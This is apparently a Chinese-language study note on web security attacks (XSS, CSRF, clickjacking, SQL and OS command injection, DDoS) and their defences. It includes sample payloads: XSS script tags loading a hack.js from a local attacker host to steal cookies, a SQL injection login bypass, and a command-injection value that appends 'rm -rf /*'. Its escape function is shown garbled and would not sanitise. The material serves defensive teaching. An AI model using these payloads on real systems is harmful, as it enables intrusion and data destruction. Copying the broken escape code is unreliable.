1.XSS（Cross Site Scripting）
1.1跨站脚本攻击
XSS (Cross-Site Scripting)，跨站脚本攻击，因为缩写和 CSS重叠，所以只能叫 XSS。跨站脚本攻
击是指通过存在安全漏洞的Web⽹站注册⽤户的浏览器内运⾏⾮法的⾮本站点HTML标签或
JavaScript进⾏的⼀种攻击。
1.2跨站脚本攻击有可能造成以下影响:
- 利⽤虚假输⼊表单骗取⽤户个⼈信息。
- 利⽤脚本窃取⽤户的Cookie值，被害者在不知情的情况下，帮助攻击者发送恶意请求。
- 显示伪造的⽂章或图⽚。
1.3XSS攻击分类
- 反射型-url参数直接注⼊
// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie⼊侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUz
NTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
- 存储型 - 存储到DB后读取时注⼊
例如在input输入框
// 评论功能输入
<script>alert(1)</script>
// 跨站脚本注⼊
我来了<script src="http://localhost:4000/hack.js"></script>
// 最终结果
就是会将用户的登录态发送到http://localhost:4000/hack.js网站
1.4XSS攻击的危害 - Scripting能⼲啥就能⼲啥
- 获取⻚⾯数据
- 获取Cookies
- 劫持前端逻辑
- 发送请求
- 偷取⽹站的任意数据
- 偷取⽤户的资料
- 偷取⽤户的秘密和登录态
- 欺骗⽤户
1.5防范⼿段
- ejs模板转义⼩知识
<% code %>⽤于执⾏其中javascript代码；
<%= code %>会对code进⾏html转义；
<%- code %>将不会进⾏转义
- HEAD（IE浏览器旧版本有效）
- 0 禁⽌XSS过滤。
- 1 启⽤XSS过滤（通常浏览器是默认的）。 如果检测到跨站脚本攻击，浏览器将清除⻚⾯（删除不
安全的部分）。
1;mode=block 启⽤XSS过滤。 如果检测到攻击，浏览器将不会清除⻚⾯，⽽是阻⽌⻚⾯加载。
1; report= (Chromium only)
启⽤XSS过滤。 如果检测到跨站脚本攻击，浏览器将清除⻚⾯并使⽤CSP report-uri 指令的功
能发送违规报告。
ctx.set('X-XSS-Protection', 0) // 禁⽌XSS过滤
// http://localhost:3000/?from=<script>alert(3)</script> 可以拦截 但伪装⼀下就不⾏
了
1.2CSP(CSP, Content Security Policy)
内容安全策略 : 是⼀个附加的安全层，⽤于帮助检测和缓解某
些类型的攻击，包括跨站脚本 (XSS) 和数据注⼊等攻击。 这些攻击可⽤于实现从数据窃取到
⽹站破坏或作为恶意软件分发版本等⽤途。
CSP 本质上就是建⽴⽩名单，开发者明确告诉浏览器哪些外部资源可以加载和执⾏。我们只
需要配置规则，如何拦截是由浏览器⾃⼰实现的。我们可以通过这种⽅式来尽量减少 XSS 攻
击。
// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 HTTPS 协议图⽚
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
ctx.set('Content-Security-Policy', "default-src 'self'")
// 尝试⼀下外部资源不能加载
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
转义字符
- ⿊名单
⽤户的输⼊永远不可信任的，最普遍的做法就是转义输⼊输出的内容，对于引号、尖括号、斜杠
进⾏转义
function escape(str) {
str = str.replace(/&/g, '&')
str = str.replace(/</g, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '&quto;')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(/\//g, '/')
return str
}
- 白名单
富⽂本来说，显然不能通过上⾯的办法来转义所有字符，因为这样会把需要的格式也过滤掉。对
于这种情况，通常采⽤⽩名单过滤的办法，当然也可以通过⿊名单过滤，但是考虑到需要过滤的
标签和标签属性实在太多，更加推荐使⽤⽩名单的⽅式。
const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1><script>alert("xss");</script>
console.log(html)
- HttpOnly Cookie
这是预防XSS攻击窃取⽤户cookie最有效的防御⼿段。Web应 ⽤程序在设置cookie时，将其
属性设为HttpOnly，就可以避免该⽹⻚的cookie被客户端恶意JavaScript窃取，保护⽤户
cookie信息。
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
2.CSRF(Cross Site Request Forgery)
即跨站请求伪造，是⼀种常⻅的Web攻击，它利⽤⽤户已登
录的身份，在⽤户毫不知情的情况下，以⽤户的名义完成⾮法操作。
- ⽤户已经登录了站点 A，并在本地记录了 cookie
- 在⽤户没有登出站点 A 的情况下（也就是 cookie ⽣效的情况下），访问了恶意攻击者提供的引诱
危险站点 B (B 站点要求访问站点A)。 - 站点 A 没有做任何 CSRF 防御
一般出现刷评论（第一步需要诱导，还可以进行链式攻击，比如点击该评论）
2.1CSRF攻击危害
- 利⽤⽤户登录态
- ⽤户不知情
- 完成业务请求
- 盗取⽤户资⾦（转账，消费)
- 冒充⽤户发帖背锅
- 损害⽹站声誉
2.2防御
- 禁⽌第三⽅⽹站带Cookie - 有兼容性问题
- Referer Check - Https不发送referer
// 设置网页来源判断，但是https不发送referer
app.use(async (ctx, next) => {
await next()
const referer = ctx.request.header.referer
console.log('Referer:', referer)
})
- 验证码（常见方法用验证码，提高犯罪成本）
- cookie值进行hash，攻击者在访问信任网站A时，虽然浏览器可以在请求中带上cookie,但是网站A不仅仅通过cookie来判断用户身份，同时通过用户发送过来的内容中的伪随机数来判断请求真正是用户发送的。攻击者在请求A的时候，不能在提交的内容智能共产生伪随机数（通过cookie哈希化的值
3点击劫持 - clickjacking
点击劫持是⼀种视觉欺骗的攻击⼿段。攻击者将需要攻击的⽹站通过 iframe 嵌套的⽅式嵌⼊⾃⼰
的⽹⻚中，并将 iframe 设置为透明，在⻚⾯中透出⼀个按钮诱导⽤户点击。
// 登录
http://localhost:4000/clickjacking.html
防御
- X-FRAME-OPTIONS设置（IE9+）
X-FRAME-OPTIONS 是⼀个 HTTP 响应头，在现代浏览器有⼀个很好的⽀持。这个 HTTP 响应头 就
是为了防御⽤ iframe 嵌套的点击劫持攻击。
该响应头有三个值可选，分别是
- DENY，表示⻚⾯不允许通过 iframe 的⽅式展示
- SAMEORIGIN，表示⻚⾯可以在相同域名下通过 iframe 的⽅式展示
- ALLOW-FROM，表示⻚⾯可以在指定来源的 iframe 中展示
ctx.set('X-FRAME-OPTIONS', 'DENY')
- JS方式
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body> <script>
// self是对当前窗口自身的引用，window属性是等价的
// top 返回顶层窗口，即浏览器串口
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
</body>
以上代码的作⽤就是当通过 iframe 的⽅式加载⻚⾯时，攻击者的⽹⻚直接不显示所有内容了。
4.SOL注入
登录情况在输入密码时
// 填⼊特殊密码
1'or'1'='1
// 拼接后的SQL,
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
此时执行顺序就分为另个表达式
WHERE username = 'laowang'
AND password = '1'和'1'='1'两个条件,前面的表达式不成立，但是后面'1'='1'是恒成立的
防御
所有的查询语句建议使⽤数据库提供的参数化查询接⼝**，参数化的语句使⽤参数⽽不是将⽤户
输⼊变量嵌⼊到 SQL 语句中，即不要直接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query
⽅法中的 ? 占位参数。
// 错误写法，不要强制拼接
const sql = `
SELECT *
FROM test.user
WHERE username = '${ctx.request.body.username}'
AND password = '${ctx.request.body.password}'
`
console.log('sql', sql)
res = await query(sql)
// 正确的写法
const sql = `
SELECT *
FROM test.user
WHERE username = ?
AND password = ?
`
console.log('sql', sql, )
res = await query(sql,[ctx.request.body.username, ctx.request.body.password])
- 严格限制Web应⽤的数据库的操作权限**，给此⽤户提供仅仅能够满⾜其⼯作的最低权限，从⽽
最⼤限度的减少注⼊攻击对数据库的危害 - 后端代码检查输⼊的数据是否符合预期**，严格限制变量的类型，例如使⽤正则表达式进⾏⼀些
匹配处理。 - 对进⼊数据库的特殊字符（'，"，\，<，>，&，，; 等）进⾏转义处理，或编码转换*。基本上所
有的后端语⾔都有对字符串进⾏转义处理的⽅法，⽐如 lodash 的 lodash._escapehtmlchar 库。
5.OS命令注⼊
OS命令注⼊和SQL注⼊差不多，只不过SQL注⼊是针对数据库的，⽽OS命令注⼊是针对操作系统的。OS命令
注⼊攻击指通过Web应⽤，执⾏⾮法的操作系统命令达到攻击的⽬的。只要在能调⽤Shell函数的地⽅就有
存在被攻击的⻛险。倘若调⽤Shell时存在疏漏，就可以执⾏插⼊的⾮法命令。
// 以 Node.js 为例，假如在接⼝中需要从 github 下载⽤户指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ⽤户输⼊的参数 */};
exec(`git clone ${params.repo} /some/path`);
如果传⼊的参数是会怎样
// clone下载完,然后执行强制删除，删库跑路
https://github.com/xx/xx.git && rm -rf /* &&
防御：严格按照匹配规则，进行转义
6.请求劫持
- DNS劫持
顾名思义，DNS服务器(DNS解析各个步骤)被篡改，修改了域名解析的结果，使得访问到的不是预期的
ip - HTTP劫持 运营商劫持，此时⼤概只能升级HTTPS了
防御：升级成https协议
7.DDOS
distributed denial of service
(多台主机拒绝访问)
DDOS 不是⼀种攻击，⽽是⼀⼤类攻击的总称。它有⼏⼗种类型，新的攻击⽅法还在不断发明出来。⽹
站运⾏的各个环节，都可以是攻击⽬标。只要把⼀个环节攻破，使得整个流程跑不起来，就达到了瘫痪
服务的⽬的。
其中，⽐较常⻅的⼀种攻击是 cc 攻击。它就是简单粗暴地送来⼤量正常的请求，超出服务器的最⼤承
受量，导致宕机。我遭遇的就是 cc 攻击，最多的时候全世界⼤概20多个 IP 地址轮流发出请求，每个地
址的请求量在每秒200次~300次。我看访问⽇志的时候，就觉得那些请求像洪⽔⼀样涌来，⼀眨眼就是
⼀⼤堆，⼏分钟的时间，⽇志⽂件的体积就⼤了100MB。说实话，这只能算⼩攻击，但是我的个⼈⽹站
没有任何防护，服务器还是跟其他⼈共享的，这种流量⼀来⽴刻就下线了。
常⻅攻击⽅式
- SYN Flood
此攻击通过向⽬标发送具有欺骗性源IP地址的⼤量TCP“初始连接请求”SYN数据包来利⽤TCP握
⼿。⽬标机器响应每个连接请求，然后等待握⼿中的最后⼀步，这⼀步从未发⽣过，耗尽了进程
中的⽬标资源,导致服务器奔溃
- HTTP Flood
此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - ⼤量HTTP请求泛滥服务器，
导致拒绝服务。
防御⼿段
- 备份⽹站
备份⽹站不⼀定是全功能的，如果能做到全静态浏览，就能满⾜需求。最低限度应该可以显示公告，告诉
⽤户，⽹站出了问题，正在全⼒抢修。
- HTTP 请求的拦截 ⾼防IP -靠谱的运营商 多个 Docker
硬件 服务器 防⽕墙 - 带宽扩容 + CDN
提⾼犯罪成本
- 详细详解：
http://www.ruanyifeng.com/blog/2018/06/ddos.html
8.标签安全
- a标签target=”_blank”的安全问题及解决办法
举个例子，在页面a.html中有这样一段代码：
<a href="b.html" target="_blank">跳转</a>;
当我们点击页面a.html中的跳转链接时，浏览器会在新的窗口或标签页中打开b.html，假如这个时候b.html中有这样一段js代码：
if (window.opener) {
window.opener.location.href = 'eval.html';
}
当页面b.html被打开的同时原来打开a.html的标签页会被重定向到eval.html, eval.html可以是和原来域完全不相关的其它域的资源。
防御
1.给a标签设置rel
如果需要限制window.opener的访问行为，我们只需要在原始页面每个使用了target="_blank"的链接中加上一个rel="noopener"属性。但是，火狐并不支持这个属性值，火狐浏览器里需要写成rel="noreferrer"，所以我们可以将两个属性值合并写成rel="noopener noreferrer"来完整覆盖。这样子页面就再也访问不到父页面的句柄了。
<a href="b.html" target="_blank" rel="noopener noreferrer">跳转</a>;
2.js限制
当然，我们也可以通过js来控制来限制句柄的访问，代码如下：
var otherWindow = window.open();
otherWindow.opener = null;
otherWindow.location = url;
文章参考：
安全防范总结
https://www.tuicool.com/articles/7Ff2EbZ
